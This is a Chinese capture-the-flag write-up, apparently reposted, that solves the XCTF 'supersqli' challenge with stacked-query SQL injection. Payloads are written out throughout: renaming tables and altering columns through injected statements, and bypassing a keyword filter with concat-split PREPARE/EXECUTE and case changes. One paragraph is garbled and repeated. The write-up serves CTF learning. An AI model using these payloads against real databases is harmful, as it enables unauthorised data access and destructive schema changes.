600字范文,内容丰富有趣,生活中的好帮手!
600字范文 > XCTF-攻防世界CTF平台-Web类——14 supersqli(SQL注入 关键词过滤)

XCTF-攻防世界CTF平台-Web类——14 supersqli(SQL注入 关键词过滤)

时间:2023-08-04 20:19:57

相关推荐

XCTF-攻防世界CTF平台-Web类——14 supersqli(SQL注入 关键词过滤)

目录标题

方法一、堆叠注入1、rename修改表名和alter change修改列名2、rename修改表名和alter add添加列名 方法二、handler语句方法三、预编译

打开题目地址

之后搜索:1’ or 1=1#

成功返回了3条数据,说明存在SQL注入漏洞

之后先判断有几列数据,使用order by 1让返回的数据按照第一列排序:

1' or 1=1 order by 1 #

返回了正确的结果,并且按照第一列排序了,说明至少存在一列数据。

其实我们也可以直接从order by 2让返回的数据按照前2列排序开始的,因为再上面几次搜索的返回结果中,可以明显看到有2列以上的不同数据:

按照前两列排序也返回了正确的结果,说明至少存在2列数据。

之后我们使用order by 3让返回的数据按照前3列排序:

1' or 1=1 order by 3 #

没有第3列数据,

那我们接下来用union联合查询来利用这两列读取数据:

1' union all select 1,2 #

提示有关键词过滤:preg_match("/select|update|delete|drop|insert|where|\./i",$inject)

对一些关键的SQL语句的大小写的正则匹配,所以这里使用联合注入不可行,只能考虑其他不带这些SQL关键词的注入方式,如盲注、堆叠注入。

方法一、堆叠注入

使用堆叠注入可以同时执行多个SQL语句,例如分开执行显示所有数据库的语句:

1';show databases;#

还可以显示当前数据库中所有的表:

1';show tables;#

之后我们可以显示这两个表的列名,显示表1919810931114514的列名(数字为表名操作时要加反引号):

1';show columns from `1919810931114514`;#

1';show columns from words;#

可以看到每一列值的属性,但是show是无法直接查看值的内容的。

其中表1919810931114514中有一个属性的名称就是flag,应该就是flag所在的位置;表words的2列属性就是开始我们查询的时候输出的2列值。

所以现在的后台代码大概逻辑就是:

select * from words where id = $inject;

直接将我们输入的 i n j e c t 参 数 的 值 拼 接 到 S Q L 语 句 进 行 数 据 库 查 询 , 所 以 默 认 输 出 的 是 w o r d s 表 中 的 内 容 。 而 我 们 现 在 要 输 出 的 是 表 1919810931114514 中 的 f l a g 的 值 所 以 我 们 的 一 种 攻 击 思 路 就 是 : ( 1 ) 先 把 表 w o r d s 改 成 其 他 的 表 名 如 t e s t ; ( 2 ) 然 后 再 把 表 1919810931114514 重 命 名 为 w o r d s ; ( 3 ) 把 f l a g 字 段 改 为 i d 字 段 或 者 添 加 一 个 i d 字 段 。 这 样 我 们 输 入 的 inject参数的值拼接到SQL语句进行数据库查询,所以默认输出的是words表中的内容。而我们现在要输出的是表1919810931114514中的flag的值 所以我们的一种攻击思路就是: (1)先把表words改成其他的表名如test; (2)然后再把表1919810931114514重命名为words; (3)把flag字段改为id字段或者添加一个id字段。 这样我们输入的 inject参数的值拼接到SQL语句进行数据库查询,所以默认输出的是words表中的内容。而我们现在要输出的是表1919810931114514中的flag的值所以我们的一种攻击思路就是:(1)先把表words改成其他的表名如test;(2)然后再把表1919810931114514重命名为words;(3)把flag字段改为id字段或者添加一个id字段。这样我们输入的inject参数实际上查询的就是表1919810931114514中的数据。

1、rename修改表名和alter change修改列名

因为是可以使用堆叠注入,可以一次性完成上面3条语句,更改表表名用到的是rename,语法是:

rename tables 旧表名 to 新表名;

所以(1)把表words改成其他的表名如test:

rename tables `words` to `test`;

(2)然后再把表1919810931114514重命名为words:

rename tables `1919810931114514` to `words`;

修改列名用到的是alter change,语法是:

alter table 表名 change column 列名 新列名 属性

(3)把flag字段改为id字段:

alter table `words` change column `flag` `id` varchar(100);

合起来的搜索语句就是:

1';rename tables `words` to `test`;rename tables `1919810931114514` to `words`; alter table `words` change column `flag` `id` varchar(100);#

执行之后没有报错。

再查看当前表中的所有数据:

1' or 1=1#

得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}

我们再看一下我们刚刚的修改对数据库造成的影响:

1';show tables;#

现在数据库中的表是test和words了,另外原来的表1919810931114514中没有flag等于1的值所以搜索1现在没有符合要求的结果了:

也可以继续查看我们刚刚的修改对表test和words中的列造成的影响:

1';show columns from test;#

test表就是原words表中的内容。

1';show columns from words;#

words表就是原1919810931114514中的内容,且flag字段已经被我们改成了id字段。

2、rename修改表名和alter add添加列名

先重启一个容器,保证数据库中的数据都是没有被更改的。

这个攻击和上面不一样的只是攻击步骤(3)中是添加一个id字段,添加用的alter add,语法是:

alter table 表名 add (字段的名称 字段的类型 (附加属性));

(3)添加一个id字段,这句SQL语句的意思是在words表中添加一个id字段,它的类型是int(11)、primary key是主键、auto_increment)是值自动加1:

1’;alter table `1919810931114514` add (id int(10) primary key auto_increment);#

和前面的语句合起来就是:

1';rename tables `words` to `test`;rename tables `1919810931114514` to `words`;alter table `words` add (id int(11) primary key auto_increment);#

执行成功,

因为有了自增加的id字段,所以直接搜索1,就是flag所在的数据:

得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}

查看当前words表的列属性:

1';show columns from words;#

成功添加了id字段。

方法二、handler语句

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。handler语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

后台只是过滤了select|update|delete|drop|insert|where关键字,没有过滤handler,尝试:

1' union handler words read first;#

但是这是一个MariaDB的数据库,无法使用handler关键字,所以这里是不可行的。

方法三、预编译

利用此方法的前提是支持多语句查询,也就是堆叠查询。

通常我们的一条sql在db接收到最终执行完毕返回可以分为下面三个过程:

(1)词法和语义解析

(2)优化sql语句,制定执行计划

(3)执行并返回结果

我们把这种普通语句称作Immediate Statements。

但是很多情况,我们的一条sql语句可能会反复执行,或者每次执行的时候只有个别的值不同(比如select、query的where子句值不同,update的set子句值不同,insert的values值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。

所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements。

预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能将输入的参数和SQL语句分隔开来,可以防止sql注入。

MySQL的预编译语法分为定义预编译SQL语句和执行预编译语句:

//预编译SQL语句

PREPARE stmt_name FROM preparable_stmt;

//执行预编译语句

EXECUTE stmt_name [USING @var_name [, @var_name] …];

解释一下,定义的时候stmt_name是变量名,代表这个SQL语句,preparable_stmt代表的是预留的SQL语句中的参数位置,而下面举个例子:

PREPARE test FROM ‘SELECT (? + ?)’;//即定义了一个两数相加的SQL预编译语句

执行时,@var_name即变量,可以带入语句中进行执行,如:

SET @a = 1,@b = 2;//给变量赋值EXECUTE test USING @a,@b;//执行

就相当于执行了select (1+2);

这道题目主要就是利用预编译,可以利用concat()将关键词拆分成2个变量合并起来,来绕过过滤的正则表达式的匹配,也可以将整个语句使用char()处理后执行。

拆分开来就是:

-1’;set @sql = concat(‘sel’,‘ect * from 1919810931114514;’);//定义一个@sql变量,在后台运行的时候使用concat将sel 和ect连接起来prepare stmt from @sql; //定义stmt变量指向预编译@sql语句execute stmt; # //执行stmt变量

合并起来一起运行就是:

1';set @sql = concat('sel','ect * from `1919810931114514`;');prepare stmt from @sql;execute stmt;#

但是后台还用strstr函数过滤了set和prepare关键字,但是strstr函数只能过滤了小写的"set"和"prepare"关键字,

我们都改成大写它就无法匹配了:

1';Set @sql = concat('sel','ect * from `1919810931114514`;');Prepare stmt from @sql;execute stmt;#

也能得到flag:flag{c168d583ed0d4d7196967b28cbd0b5e9}

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。